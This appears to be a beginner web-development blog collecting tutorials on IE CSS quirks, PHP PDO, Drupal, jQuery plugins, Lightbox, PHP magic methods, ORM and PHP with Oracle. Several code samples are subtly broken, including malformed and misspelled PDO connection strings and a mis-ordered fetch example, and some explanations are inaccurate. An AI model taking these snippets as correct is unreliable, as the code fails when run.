CSS behaviour on IE & Other Browsers

In this post , i want to emphasize how exactly the css behave on IE and Other browsers like firefox , google chrome , opera etc.

I would like to share my personal experience and challenges which i have faced during working on different different browser for an application.
here are the some challenges in key points:

1.Display box in IE & other browser

Solution:
For IE:-

#box{ display:inline; border: solid 1px; }

For Other browser:-
#box {
display: inline-block;
border: solid 1px;
}

2.Anchor tag (hyperlink) visited issue

Html code :

tesing hyperlink

a:link {
color: #A5ACB0;
}
/* visited link */
a:visited {
color: #00ADEF;
}
/* selected or active link */
a:active {
color: #A5ACB0;
}
/* Hover link */
a:hover {
color: #00338E;
}

Test IE
Test ALL

For IE Broswer:-
After clicking on TestIE link , it will show a:visited color but when you go to other page and come back to the same page where you have TestIE link , the color of hyperlink will as a:link .
Logically , it should be a:visited color because you have visited the link.
This logic won’t work on IE 6,7,8 and other latest IE versions but work perfectly fine on any other browsers.

But After clicking on TestALL link on any browser, it shows visited color .

Image onmouseout , onmouseover and onclick

Requirement:- A web page should contain an image say top arrow image.
When user visit to a page , top arrow image should be in disable form (say in grey color) , when user hover over the image , it should get activated and turns to other color (say in green) and when user clicks on that image , it should turns to other color (say blue).

images:- top_arrow_disable.jpg , top_arrow_active.jpg and top_arrow_visited.jpg

PHP PDO

PHP PDO :-P HP Data object is a database connection abstraction library for PHP 5.

What is  PDO ?

  • Its written in complied language(c/c++) , other php libraries are written in Interpreted language (AdoDB , PEAR DB)
  • its lightweight database connection abstraction library

WHY PDO ?

  • It support many databases , so you don’t need to write lines of code of each database , just write one code and run on any database
  • Speed . PDO is written in complied language but others php libraries like PEAR DB ,Adodb are written in interpreted language.

PHP supports many databases like mysql , sqllite , postgre sql etc.

mysql_connect($host,$user,$password)

sqllite_open($host,$user,$password)

pg_connect($host,$user,$password)

so if you have to change your database from say mysql to postgre or viceversa , then you have to change your code , so you have to do rework on that.

thats way PDO cam ein picture , so that you have to write just one code and it will be work on any database platform without changing codes again and again.

PDO: Activation PHP Data Objects Extension

Goto PHP/ext folder and check whether pdo extension exists or not.

php_pdo.dll , php_pdo_mysql.dll etc.

To enable PDO , go to PHP.INI file and uncommnet the code

;extension=php_pdo.dll -> extension=php_pdo.dll

;extension=php_mysql_pdo.dll -> extension=php_mysql_pdo.dll

Restart your apache server.

PDO: connection to databases

//mysql connection

$con = new PDO(‘mysql:host=$host,dbname=$DB’,$user,$pwd);

//sqllite connection

$con = new PDO(‘sqllite:$DB’);

//postgre connection

$con = new PDO(‘pqsql:host=$host,dbname=$DB’,$user,$pwd);

or we can write like this also

<?php
// configuration
$dbtype		= "sqlite";
$dbhost 	= "localhost";
$dbname		= "test";
$dbuser		= "root";
$dbpass		= "admin";
$dbpath		= "c:/test.db";

// switching
switch($dbtype){
  case "mysql":
    $dbconn = "mysql:host=$dbhost;dbname=$dbname";
    break;

  case "sqlite":
    $dbconn = "sqlite:$dbpath";
	break;

  case "postgresql":
    $dbconn = "pgsql:host=$host dbname=$db";
	break;
}

// database connection
$conn = new PDO($dbconn,$user,$pass);

?>

PDO: Fetch Mode

// database connection
$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);

// query
$sql = "SELECT title FROM books ORDER BY title";
$q	 = $conn->query($sql);

// fetch
while($r = $q->fetch()){
  print_r($r);
}

// result //Array ( [title] => PHP AJAX [0] => PHP AJAX )


// query
$sql = "SELECT title FROM books ORDER BY title";
$q	 = $conn->query($sql);
$q->setFetchMode(PDO::FETCH_ASSOC); //fetch association 
// fetch
while($r = $q->fetch()){
  print_r($r);
}

// result //Array ( [title] => PHP AJAX)


$q->setFetchMode(PDO::FETCH_NUM);

// fetch
while($r = $q->fetch()){
  print_r($r);
}

// result //Array ( [0] => PHP AJAX )
$q->setFetchMode(PDO::FETCH_BOTH);
$q	 = $conn->query($sql);

// fetch
while($r = $q->fetch()){
  print_r($r);
}

// result //Array ( [title] => PHP AJAX [0] => PHP AJAX ) 




Drupal termnology

Basically, there are 5 main layers in Drupal where information flows,

  1. Data (Node, ETC)
  2. Modules
  3. Blocks and Menus
  4. User Permissions
  5. Template

 

Data
Base of the system is collection of Nodes. – the data pool

Modules
These are functional plugins that are either part of the Drupal core (they ship with Drupal) or they are contributed items that have been created by members of the Drupal community.

Blocks and Menus
This is the next layer where we find blocks and menus. Blocks often provide the output from a module or can be created to display whatever you want, and then can be placed in various spots in your template (theme) layout. Blocks can be configured to output in various ways, as well as only showing on certain defined pages, or only for certain defined users.

User Permissions
Here is the next layer where settings are configured to determine what different kinds of users are allow to work and see.

Template
This is mainly the site theme or the skin. This is made up predominantly of XHTML and CSS, with some PHP variables intermixed

Understanding this flow of information is very important if you are facing A Drupal project targeted interview as the interviewer might test your overall knowledge  of  Drupal CMS by asking this sort of questions.

 

 

 

 

 

 

What is taxonomy in drupal?

We can define any number of vocabularies (category types) and terms (categories)
e.g.
Controversial Content: (vocabulary)
– violence (term)
– adult content (term)

Genre (Vocabulary)
– Comedy (term)
– Romance (term)

We can config which content types are compatible with which vocabulary and which nodes are belong to which terms.

Some important drupal modules: Views, CCK, Path auto, FCK Editor, User points, Flags, Panels, Image cache

 

What is a block?

Block is a section in a page (recent posts, news, vote to something, login box, navigation), which is movable to regions (header, footer, content top etc) in a page. Blocks can be configured to show/hide only to certain type of user roles, url patterns or some other advanced criteria. (Content area is not a block)

What is a node in Drupal?

A node is a unit of content. It has a type. Page, News or as Testimonial.

Which are the core required modules in drupal 6.x ?

1. Block — Controls the boxes that are displayed around the main content.
2. Filter — Handles the filtering of content in preparation for display.
3. Node — Allows content to be submitted to the site and displayed on pages.
4. System — Handles general site configuration for administrators.
5. User — Manages the user registration and login system.

 

 

 

 

 

Drupal Modules

These key modules are some of the most important ones to add no matter what type of site you want to build with Drupal.

We need  TOKEN module http://drupal.org/project/token

 

Download FCKEDitor from sourcrforge and unzip it.

Place this unzip FCKEditor folder inside sites/aa/modules/FCKEditor .

There will be another folder as FCKEditor in FCKedior module folder ,copy the unzip from above link and copy here .

  • IMCE for uploading images to insert into posts
  • Poor Mans Cron for easy execution of the Drupal cron file

What is VIEW Module ?

VIEW is a powerful query builder for Drupal that allows you to fetch and present lists and tables of content (posts/nodes) to the user in ways that are tailored to your site and your content.

The Views module provides a flexible method for Drupal site designers to control how lists and tables of content (nodes in Views 1, almost anything in Views 2) are presented. Views can be used to generate reports, create summaries, and display collections of images and other content.

 

You need Views if:

  • You like the default front page view, but you find you want to sort it differently.
  • You like the default taxonomy/term view, but you find you want to sort it differently; for example, alphabetically.
  • You use /tracker, but you want to restrict it to posts of a certain type.
  • You like the idea of the ‘article’ module, but it doesn’t display articles the way you like.
  • You want a way to display a block with the 5 most recent posts of some particular type.
  • You want to provide ‘unread forum posts’.
  • You want a monthly archive similar to the typical Movable Type/Wordpress archives that displays a link to the in the form of “Month, YYYY (X)” where X is the number of posts that month, and displays them in a block. The links lead to a simple list of posts for that month.

 

jQuery Tutorial Demo: Select All Checkboxes & validate Form

This tutorial will teach you to add validation using JQUERY validate.js file and get multiple checkbox valu using JQUERY jquery.js file.

These two js files jquery.js , jquery.validate.js is very useful when user wants to do validation of form on client side server .

Here the attached code.just download these two js files from JQUERY site and embedd in below code and run the file on browser .

<html>
<head>
<title>jQuery Tutorial Demo: Select All Checkboxes</title>
<script type=”text/javascript” src=”/jquery/jquery.js”></script>
<script type=”text/javascript” src=”/jquery/jquery.validate.js”></script>
<style type=”text/css”>body{font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px}
h1, h2{font-size:20px;}</style>

<script type=”text/javascript”>
$(document).ready(function()
{
$(“#paradigm_all”).click(function()
{
var checked_status = this.checked;
$(“input[name=paradigm[]]”).each(function()
{
this.checked = checked_status;
});
});
});

//initiate validator on load
$(function() {
// validate contact form on keyup and submit
$(“#userForm”).validate({
//set the rules for the field names
rules: {
first_name: {
required: true,
minlength: 2
},
last_name: {
required: true,
minlength: 2
},
email: {
required: true,
email: true
},
company: {
required: true,
minlength: 2
},
},
//set messages to appear inline
messages: {
first_name: “*Please enter First Name”,
last_name: “*Please enter Last Name”,
email: “*Please enter a valid Email address”,
company: “*Please enter Company Name”
}
});
});

</script>
<style type=”text/css”>
.error {
color: red;
font: 12pt verdana;
padding-left: 10px
}
</style>
</head>
<body>

<h1>jQuery Tutorial: Multiple Checkbox values & Validation of FORM </h1>
<p>You will learn how to select/deselect all checkbox and get all the values of checked box.<br/>
This will also teach you to validate your FORM using JQUERY validate.js.
</p>
<br/><br/>
<?php
if(isset($_POST) && !empty($_POST))
{
var_dump($_POST);
}
?>
<form name=”myform” action =”#” id=”userForm” method=’post’ enctype=’multipart/form-data’>
<label for=”first_name”>First Name</label><br />
<input name=”first_name” id=”first_name” /><br />
<label for=”last_name”>Last Name</label><br />
<input name=”last_name” id=”last_name” /><br />
<label for=”email”>Email address/Username</label><br />
<input name=”email” id=”email” /><br />
<label for=”company”>Company</label><br />
<input name=”company” id=”company” /><br /><br />
<label>Role</label><br/>
<input type=”checkbox” name=”paradigm[]” value=”Imperative”>Imperative<br/>
<input type=”checkbox” name=”paradigm[]” value=”Object-Oriented”>Object-Oriented<br/>
<input type=”checkbox” name=”paradigm[]” value=”Functional”>Functional<br/>
<input type=”checkbox” id=”paradigm_all”>Select All<br><br />
<input type=”submit”  value=”save” />

</body>
</html>

Drupal 6 Installation on windows

DRUPAL INSTALLATION

1.UNZIP  Drupal-6.15 and rename folder drupal-6.1.5 to drupal and copy that in your server webroot
I am using XAMPP , so I kept this “drupal”  folder in “htdocs” folder
Start your Xampp server.
On browser , type:-

http://localhost/drupal

it will show this page as in screenshot
2.Follow drupal instructions
Choose language to English

1

3. After that you will get this screen

2

3

4.You will get screen like below and enter your DB name and all , after that click on ” SAVE AND CONTIUNE “ button

4

5. After that you will see screen as shown below .
This prompt error message because we don’t have “drupal_team”  database in MYSQL DB

5

 First create “drupal_team” db in MYSQL database
As  shown in screenshot

6

After creating DB name in MYSQL

6.Goto drupal installation browser
 
NOTE:- if u want then put prefix for your tables in “drupal_team” database. Its optional
See screenshot:-

7

7. after that we will see screen as shown and fill appropriate data .

8

9
10

8. AT last you will see screen as shown below , SMTP error will come but its just for mailing functionality which you can resolve in php.ini file.

11

Beautiful paintings

JQuery Table Sorter Plugin

TableSorter plugin is used to do single column sorting as well as multiple column sorting without refreshing a whole page .

Here is a small Example to show  how Tablesorter plugin works.

STEP 1:-
download jquery.js and jquery-tablesorter.js file

STEP 2:- Embedd that js file into your source code or in your webpage.

Between  <HEAD></HEAD> tag , copy these lines

<script type=”text/javascript” src=”/path/to/jquery.js”></script>
<script type=”text/javascript” src=”/path/to/jquery.tablesorter.js”></script>

NOTE:- provide jquery.js and jquery-tablesorter.js path in src attribute

STEP 3:- Between  <BODY></BODY> tag, copy these lines and paste


<h1><u>Multiple Column Sorting  Example</u></h1>

<table  cellpadding=”3″ cellspacing=”1″  width=”100%”  id=”myTable”>
<thead >
<tr><th  width=”60″ >Name</th>
<th width=”60″>Task</th>
<th  width=”60″>Cell No.</th>
<th  width=”60″>Start Date</th>
<th  width=”60″>End Date</th>
<th  width=”60″>Completed By</th>
</tr>
</thead>
<tbody>
<tr><td>
Anand
</td>
<td>
PHP
</td>
<td>
111-222-3333
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
ak60991
</td>
</tr>
<tr>
<td>
Vishal
</td>
<td>
Coldfusion
</td>
<td>
111-222-3334
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
vu60998
</td>

</tr>
<tr>
<td>
Anand
</td>
<td>
Coldfusion
</td>
<td>
111-222-3334
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
ak60991
</td>

</tr>
<tr>
<td>
Himadri
</td>
<td>
Coldfusion
</td>
<td>
111-222-3334
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
hr60001
</td>

</tr>

<tr>
<td>
Gaurav
</td>
<td>
Coldfusion
</td>
<td>
111-222-3336
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
gt56001
</td>
</tr>
<tr>
<td>
Himadri
</td>
<td>
Oracle
</td>
<td>
111-222-3336
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
gt56001
</td>
</tr>
<tr>
<td>
Vishal
</td>
<td>
Oracle
</td>
<td>
111-222-3336
</td>
<td>
11/16/2009
</td>
<td>
11/23/2009</td>
<td>
vu60998
</td>
</tr>

</tbody>
</table>
<p><span><font color=”#990000″ size=”+1″><b>NOTE:</b></font></span> hold  shift key and click on  multiple headers/columns to do multiple column sorting!</p>


STEP 4:-Between <HEAD></HEAD> tag , copy and paste these lines

<script type=”text/javascript”>
<!–jQuery.noConflict();–>
var $j = jQuery.noConflict();

$j (document).ready(function()     {
//$j (“#myTable”).tablesorter({widgets: ['zebra']});

$j (“#myTable”).tablesorter();
}
);
</script>


Description:

this particular script will apply tablesorter() function of JQuery to table which has id ‘myTable’


STEP 5:- Add CSS style sheet into your code .

Copy and paste these lines between <HEAD></HEAD> tag


<style type=”text/css”>
.sort{font-size:9px;}

table.tablesorter .header {
background-image: url(“/path/to/bg.png”);
background-repeat: no-repeat;
padding-left: 30px;
padding-top: 8px;
width:auto;
}

table.tablesorter th.no_sort {
background-image: url(“/path/to/header.PNG”);
}
table.tablesorter .headerSortUp {
background-image: url(“/path/to/asc.png”);
background-repeat: no-repeat;
}
table.tablesorter .headerSortDown {
background-image: url(“/path/to/desc.png”);
background-repeat: no-repeat;
}
table.tablesorter .even {
background-color: #9999CC;
}
table.tablesorter .odd {
background-color: #FFFFFF;
}
</style>


Save your code and run it . Congrats you have implemented sorting on your table .

Screenshot is added


FEW Tips: open JQuery-tablesorter.js file,

you will see  some default values , you can change these values based on your requirements.i have commented on some parameters in below code .

this.defaults = {
cssHeader: “header”,// css header class
cssAsc: “headerSortUp”, // css headerSortUp class
cssDesc: “headerSortDown”, // css headerSortDown class
sortInitialOrder: “asc”, // you can change it based on how you want initial sorting
sortMultiSortKey: “shiftKey”,// here you can use CTRL key also
sortForce: null,
sortAppend: null,
textExtraction: “simple”,
parsers: {},
widgets: ['zebra'],
widgetZebra: {css: ["even","odd"]},// css even ,odd class
// below commented code will disable sorting on first and second column
//headers: {0: { sorter: false}, 1: {sorter: false}},
headers: {},
widthFixed: false,
cancelSelection: true,
sortList: [],
headerList: [],
dateFormat: “us”,
decimal: ‘.’,
debug: false
};


LIGHTBOX Tutorial

Lightbox is a useful JavaScript, which allows you to watch photos in a semi-transparent overlay to your site. When you click on a link, the picture is shown above the content of your page, which frees you of limitations like columns.

This tutorial is about setting up Lightbox to work on your page.

STEP 1: download lightbox.js , lightbox.css ,prototype.js,scriptaculous.js,effects.js and builder.js

 

STEP 2: Create a folder ”launchpad” and ”js” , “css” and “image” sub folder inside ”launchpad” folder.

NOTE:- you can create a folder structure according to your wish also .

In “js” folder , keep all js files like:

lightbox.js ,prototype.js,scriptaculous.js,effects.js and builder.js

In “css” folder . keep lightbox.css file.

In “images” folder , keep all your images that you want to be displayed as photo gallery.

STEP 3: keep “lauchpad” folder inside C:\ drive

NOTE:- you can put this folder anywhere according to your wish but then you have to take care of Path of these folder.

STEP 4: Create lightbox.html page (you can rename your filename also.)

source code of lightbox.html :-

 

<html>
<head>
<title> Lightbox Example</title>
<link rel=”stylesheet” href=”c:/lightbox/css/lightbox.css” type=”text/css” media=”screen” />

// Lightbox.css :- for lightbox layout designing
<br/>
<script src=”c:/lightbox/js/prototype.js” type=”text/javascript”></script>
//prototype.js :-This will call to a needed Javascript file, ‘prototype.’ Without prototype, Lightbox WILL NOT function.
<br/>

<script src=”c:/lightbox/js/scriptaculous.js?load=effects,builder” type=”text/javascript”></script>

//scriptaculous.js :- Above statement  Not only  it calls to scriptaculous, but it will also call to effects.js and builder.js. Scriptaculous has a feature that will load the needed JS files with itself, hence the ?load after scriptaculous.js

<br/>

<script src=”c:/lightbox/js/lightbox.js” type=”text/javascript”></script>
//Lightbox.js

</head>
<body>
<h1>Light Box Example</h1>
<br/><br/>
<a href=”c:/lightbox/images/a.jpg” rel=”lightbox” title=”Gallery”>What is it?</a><br/><br/>

// The beauty of Lightbox is that you only need to call to it in link attributes, and not image attributes. <br/>
// rel=”lightbox” tells the webserver that the relation of this link is Lightbox, so, it will link Lightbox.js and all other JS files to the link. <br/>
// Title is optional, it will be displayed below the image<br/>
// Now, we’ll link some images together, commented code will be after so you understand.<br/>

<br/><br/>

<a href=”c:/lightbox/images/a.jpg” rel=”lightbox[outdoors]“>Gallery 1</a><br/>
<a href=”c:/lightbox/images/b.jpg” rel=”lightbox[outdoors]“>Gallery 2</a><br/>
<a href=”c:/lightbox/images/c.jpg” rel=”lightbox[outdoors]“>Gallery 3</a><br/>
<a href=”c:/lightbox/images/d.jpg” rel=”lightbox[outdoors]“>Gallery 4</a><br/>
<a href=”c:/lightbox/images/e.jpg” rel=”lightbox[outdoors]“>Gallery 5</a><br/>
<br/><br/>
//Everything is the same as above, except that we’ve added within brackets the word ‘outdoors.’ Outdoors links those five images together so that we will get ‘Next’ and/or ‘Previous’ linkings within Lightbox.
</body>
</html>

copy and paste this code into lightbox.html file

NOTE: -

<a href=”c:/lightbox/images/a.jpg” rel=”lightbox[outdoors]“>Gallery 1</a><br/>
<a href=”c:/lightbox/images/b.jpg” rel=”lightbox[outdoors]“>Gallery 2</a><br/>
<a href=”c:/lightbox/images/c.jpg” rel=”lightbox[outdoors]“>Gallery 3</a><br/>
<a href=”c:/lightbox/images/d.jpg” rel=”lightbox[outdoors]“>Gallery 4</a><br/>
<a href=”c:/lightbox/images/e.jpg” rel=”lightbox[outdoors]“>Gallery 5</a><br/>

In the above code ,

you   can rename your image name as well as you can use “n”  number of images that has to be displayed.

suppose , i can add other statement in above code,like this

<a href=”c:/lightbox/images/hello.jpg” rel=”lightbox[outdoors]“>Gallery 6</a>

STEP 5: In lightbox.css,

change  path of images for these attributes

fileLoadingImage:        ‘c:/lightbox/images/loading.gif’,     
 fileBottomNavCloseImage: ‘c:/lightbox/images/closelabel.gif’,

STEP 6: run lightbox.html page and click on  any of links to see lightbox effects .

 

PHP Magic Methods

MAGIC METHODS

1.Why magic methods ?

Ans:

In PHP,  a variable can take any form depending on the data passed to it. Also PHP automatically creates variable and assigns values to it even if the variables are not defined. But in Object Oriented Programming all the data members/methods needs to be defined. To solve some of these problems in OOPS environment magic methods have been introduced in PHP5.

  1. Magic methods are member function that is available for all instance of class.
  2. Magic method stars with __(double underscore), like: __get () ,__set()
  3. Magic methods are always declared as PUBLIC.

LIST of MAGIC METHODS used in PHP 5 :

__get() , __set() , __autoload , __sleep() , __wakeup() , __construct() , __destruct() , __isset() , __unset() , __clone , __call ,__toString()

1. __construct() :- This methods gets called whenever an object of a class is instantiated.

2. __destruct() :-  This methods gets called whenever an object of a class is destroyed or object goes out of scope.

3. __set() :-  This methods get automatically called whenever you assigns data to a undefined attributes of an class in PHP 5. With this method the programmer can keep track on the variables which are not defined inside the class.

    Syntax:

    < ?

    function __set($data,$value){

    //$data – holds the name of the undefined attributes

    //$value – holds the value assigned to the undefined attributes.

    }

    ?>

    Example:

    < ?
    class magicmethod{
                   function __set($data,$value)
                   {
                                   echo "Error assigning values to undefined attributes";
                                   echo "attributes Called:".$data;
                                   echo "Value assigned to attributes:".$value;
                   } 
    }
    $a = new magicmethod();
    $a->setData = 20;
    ?>
    In Above example : 

      Output:
      Error assigning values to undefined attributes
      attributes Called:setData
      Value assigned to attributes:20

      Explain:

      In the magicmethod class setData is not defined so the php compiler excutes __set() magic method and displays error message.

      And  assigned value 20 to an attribute setData of magicmethod class.

      5. __get() :- This methods get automatically called when you try to retrieves the data of undefined attributes of an class in PHP 5.

        Syntax:

        function __get($data)
        {
             //$data holds the name of the undefined attributes getting called.
        }
          
        Example:
        < ?
        class magicmethod
        {
           function __get($data)
           {
               echo "Error accessing undefined attributes";
               echo "attributes Called:".$data;
           }
        }
         
        $a = new magicmethod();
        echo $a->setData;
         
        ?>
         
        Output:
        Error accessing undefined attributes
        attributes Called:setData
         
        Explain: 
        a.echo an attribute setData of magicmethod class.
        b.But in the magicmethod class setData is not defined so the php compiler excutes __get() magic method and displays error message 
        
        6.__cal() :- The __call Magic method in PHP5 get called when accessing an undeclared or undefined methods of an class. With this magic method the programmer can keep track on the undeclared method which are not defined inside the class.

          Syntax:

          < ?
          function __call($data,$argument)
          {
                         //$data holds the name of the undefined method getting called.
                  //$argument holds the argument passed to the method.
          }
          ?>

          Example:

          < ?
          class magicmethod
          {
           
                         function __call($data,$argument)
                         {
                                         echo "Error accessing undefined Method";
                                         echo "Method Called: ".$data;
                                         echo "Argument passed to the Method: ".$argument;
                         }
           
          }
           
          $a = new magicmethod();
          echo $a->setData();  //Calling setData method
           
          ?>

          Output:
          Error accessing undefined Method
          Method Called: setData
          Argument passed to the Method: Array (Array of the Argument Passed)

          Explain:

          1.trying to call setData method of magicmethod class.

          2.Now in the magicmethod class setData is not defined so the php compiler excutes __call() magic method and displays error message.


          6. __sleep() :-  This methods gets called when you serialize the object in PHP 5. Serializing is required to pass complex data across the network or PHP pages. It is also used to store data(files, database, cookies etc).

            Syntax:

            < ?
            function __sleep()
            {
                           ...
                           return serialised data;
            }
            ?>

            Example:

            < ?
            class magicmethod
            {
                           function __sleep()
                           {
                                           echo "Performing Clean-Up Operation Before Serializing Data ";
                                           return array("Serialized Data","1","2","3");
                           }
            }
            $a = new magicmethod();
            $serializedata = serialize($a);
            echo $serializedata;
            ?>

            Output:
            Performing Clean-Up Operation Before Serializing Data
            O:11:”magicmethod”:4:{s:15:”Serialized Data”;N;s:1:”1″;N;s:1:”2″;N;s:1:”3″;N;}

            Explain:

            a.trying to serialize the object of magicmethod class.

            b.Now the PHP Compiler calls the __sleep() Magic method which return an array having the serialized values

            7.__wakeup() :- This methods gets called when the object is about to be unserialized in PHP 5. This method allows us to restore the serialized data to its normal form.

            Syntax:

            function __wakeup()
            {
                           ...
            }
            

            Example:

            < ?
            class magicmethod
            {
                           private $setName;
                           function __sleep()
                           {
                                           echo "Performing Clean-Up Operation Before Serializing Data ";
                                           $this->setName = "Hello World!!!";
                                           return array(setName);
                           }
             
                           function __wakeup()
                           {
                                           echo "Performing Clean-Up Operation Before Unserializing Data ";
                                           echo $this->setName;
                           }
            }
            $a = new magicmethod();
            $serializedata = serialize($a);
            $serializedata1 = unserialize($serializedata);
            ?>

            Output:
            Performing Clean-Up Operation Before Serializing Data
            Performing Clean-Up Operation Before Unserializing Data
            Hello World!!!

            Explain:

            a.trying to serialize the object of magicmethod class

            b.Now the PHP Compiler calls the __sleep method which return an array having the serialized values

            c. After serialize data, i am calling the unserialize function; now the PHP compiler will call the __wakeup method which contains the original data that was serialized .

            8. __autoload():-This methods get automatically called whenever you try to load an object of class which resides in separate file and you have not included those files using include,require and include_once. To use this method it is mandatory to the PHP filename as that of the class name because this methods accepts the class name as the argument.

              Syntax:

              < ?
                 function __autoload($classname)
                 {
                    require($classname.".php");
                 }
              //$classname is the name of the Class.
              ?>

              Example:

              //magicmethod1.php

              < ?
                  class magicmethod1
                  {
                      function __construct()
                      {
                          echo "MagicMethod1 Class Called";
                      }
                  }
                ?>
              <?php
                  function __autoload($classname)
                  {
                      include $classname.".php"; //Here $classname=magicmethod1
                  }
               
                  $a = new magicmethod1();
              ?>

              Output: MagicMethod1 Class Called

              Explain:

              trying to create an object of magicmethod1 class, but i have not included the magicmethod1.php so PHP compiler calls the __autoload() method which include that magicmethod1.php file.

              9.__clone() :- PHP5 has introduced clone method which creates an duplicate copy of the object. __clone methods automatically get called whenever you try to call clone methods in PHP 5. This operator does not creates a reference copy.

                In PHP 5 when you assign one object to another object creates a reference copy and does not create duplicate copy. This would create a big mess as all the object will share the same memory defined for the object. To counter this PHP 5 has introduced clone method

                Example:

                //without cloning

                < ?
                class Animal
                {
                   public $name;
                   public $legs;
                 
                   function setName($name)
                   {
                               $this->name = $name;
                   }
                 
                   function setLegs($legs)
                   {
                               $this->legs = $legs;
                   }
                }
                 
                $tiger = new Animal();
                $tiger->name = "Tiger";
                $tiger->legs = 4;
                 
                $kangaroo = $tiger;
                $kangaroo->name = "Kangaroo";
                $kangaroo->legs = 2;
                 
                echo $tiger->name."---".$tiger->legs;
                echo "<br />".$kangaroo->name."---".$kangaroo->legs;
                ?>

                Output:
                Kangaroo—2
                Kangaroo—2

                Explanation:

                • Here i have created an $tiger object of Animal class
                • Created another variable $kangaroo and assigned $tiger to $kangaroo
                • After echo it print the details entered last because both the variables are referring to the same memory location

                Example:

                //with __Clone

                < ?
                class Animal
                {
                   public $name  ;
                   public $legs;
                 
                   function setName($name)
                   {
                               $this->name = $name;
                   }
                 
                   function setLegs($legs)
                   {
                               $this->legs = $legs;
                   }
                 
                   function __clone()
                   {
                               echo "<br />Object Cloning in Progress";
                   }
                }
                 
                $tiger = new Animal();
                $tiger->name = "Tiger";
                $tiger->legs = 4;
                 
                $kangaroo = clone $tiger;
                $kangaroo->name = "Kangaroo";
                $kangaroo->legs = 2;
                 
                echo "<br />".$tiger->name."---".$tiger->legs;
                echo "<br />".$kangaroo->name."---".$kangaroo->legs;
                ?>

                Output:
                Object Cloning in Progress
                Tiger—4
                Kangaroo—2

                Explanation:

                • Here i have created an $tiger object of Animal class
                • Created another variable $kangaroo having clone of $tiger. This calls the __clone magic method
                • After echo it print the details entered by individual object as both of them are referring to separate object and memory location

                The above technique of cloning discussed is called shallow copy. There are other techniques called Deep Copy wherein you create duplicate copy of objects referring to other objects etc.

                10. __toString() :- __toString method is called when PHP needs to convert class instances into strings, for example when echoing:

                <?php

                class SomeClass {
                public function __toString() {
                return ‘someclass’;
                }
                }

                $obj = new SomeClass();
                echo $obj;
                //will output ‘someclass’

                ?>

                11. __isset() :- This methods get automatically called whenever you try to check the existence of the undeclared attributes of the class using isset function of PHP.

                12. __unset() :- This methods get automatically called whenever you try to check the destroy or clear an undeclared attributes of the class using unset function of PHP

                ORM (Object Relational Mapping)

                ORM in  PHP

                Advantages:

                1. ORMs have their own APIs for building queries and so are less Vulnerable to SQL injection attacks.
                2. ORMs have tools that will inspect a schema and build up a set  of model classes that allow you to interact with object in db.
                3. Instead of Directly interacting with db , you’ll be interacting with an abstraction layer that provides insulation between code and database Implementation.
                4. It provides mapping between logical business model and physical storage model.
                5. Cache management recently used data are cached in memeory so that it will reducing load on DBs.
                6. Concurrency support: support for multiple user updating same data simultaneously.

                Disadvantages:

                1. If you have complex, hand tuned SQL
                2. If you have decided that your DB will have stored procedure as its interface.
                3. If you have a complex schema that can’t be replaced.
                4. If you have not dealing with object
                5. If you are using custom queries oftenly.
                6. Tight coupling:  This approach creates tight dependency between model objects and database schemas. Changing in DB Schema has rippling affects in objects model and mapping configuration & vice-versa.  

                PHP & ORACLE

                PHP &  ORACLE

                Introduction to ORACLE : -  Oracle DB is well known for scalability , reliability and features.It is a leading DB and is available on many platforms.

                Oracle Terminology:  

                1. 1.       Databases and Instances :-  Oracle databases store and retrieve data. Each database consists of one or more data files. An Oracle database server  consists of an Oracle database and an Oracle Instance. Whenever an Oracle database server is started , a shared memory region SGA(System Global Area) is allocated and Oracle background processes are started. Combination of background processes and SGA is called an Oracle Instance.   
                2. 2.       Tablespaces :-  Tablespaces are logical unit of data storage made up of one or more datafiles. 
                3. 3.       Schemas:- A Schema is a collection of database objects such as tables and indexes. Typically, a single DB contains multiple schemas. Multiple Application can use same DB without any conflicts by using   different schemas. Instead of using a CREATE DATABASE command for new application , use CREATE USER to create a new schema in the database. 

                PHP ORACLE EXTENSIONS

                PHP has several extensions that let application use Oracle DB. Database access  and abstract library in each extension of PHP   is fundamentally similar. The differences are in  support for advanced features and programming methodology.

                If you want to make full use of Oracle features and need high performance, PHP OCI8 extension  has to be used. PHP OCI8 is a main ORACLE Extension.

                If you want database independence , use PHP PDO(data object) or ADOdb extension for database abstraction.

                 

                PHP Oracle Extensions

                1.Oracle (Not recommended)

                2.OCI8

                3.PDO

                4.ODBC

                PHP Oracle extensions are written in C  and linked into PHP Binary.

                 

                 

                OCI8 Extension :- OCI8 Extension is recommended extension to use. It is used in PHP 3,4 and 5.

                Example:

                <?php

                $con=oci_connect(‘dbname’,’passwd’,’localhost/XE’);

                $s=oci_parse($con,’select * from User’);

                oci_execute($s);

                While($res=oci_fetch_array($s,OCI_ASSOC)){

                echo $res[‘name’];

                }

                ?>

                HOW TO GET OCI8 EXTENSION

                Bundle Containing OCI8 Location and Current Release
                1. PHP Source Code
                http://www.php.net/downloads.phpphp-5.2.7.tar.bz2
                1.  PECL Source Code
                http://pecl.php.net/package/oci8oci8-1.3.4.tgz
                1.  Zend Core for Oracle 2.5
                http://www.oracle.com/technology/tech/php/zendcore/ZendCoreForOracle-v2.5.0-Linux-x86.tar.gz

                ZendCoreforOracle-v.2.5.0-Windows-x86.exe

                   

                Oracle has cross-version compatibility, that means if PHP OCI8 is linked with Oracle10g  Client Libraries, then it can able to connect with Oracle database  8i,9i,10g,11g. If OCI8 is linked with oracle 11g client libraries then it can able to connect with Oracle9iR2 onwards  .

                Full OCI8 functionality may not be available unless Oracle client libraries and database servers are latest version.

                OCI8 and Oracle Compatibility Matrix

                Software Bundle PHP Version OCI8 VersionIncluded Oracle Client Libraries Usablewith OCI8
                PHP Release Source Code Current release is 5.2.7 OCI8 1.2.5 8i, 9i, 10g, 11g
                PECL OCI8 Source Code Builds with PHP 4.3.9onwards Latest release isOCI8 1.3.4 9iR2, 10g, 11g
                Zend Core for Oracle 2.5 Includes PHP 5.2.5 OCI8 1.2.3 Inbuilt Oracle Database 10g client
                       

                ORACLE DATABASE XE :-

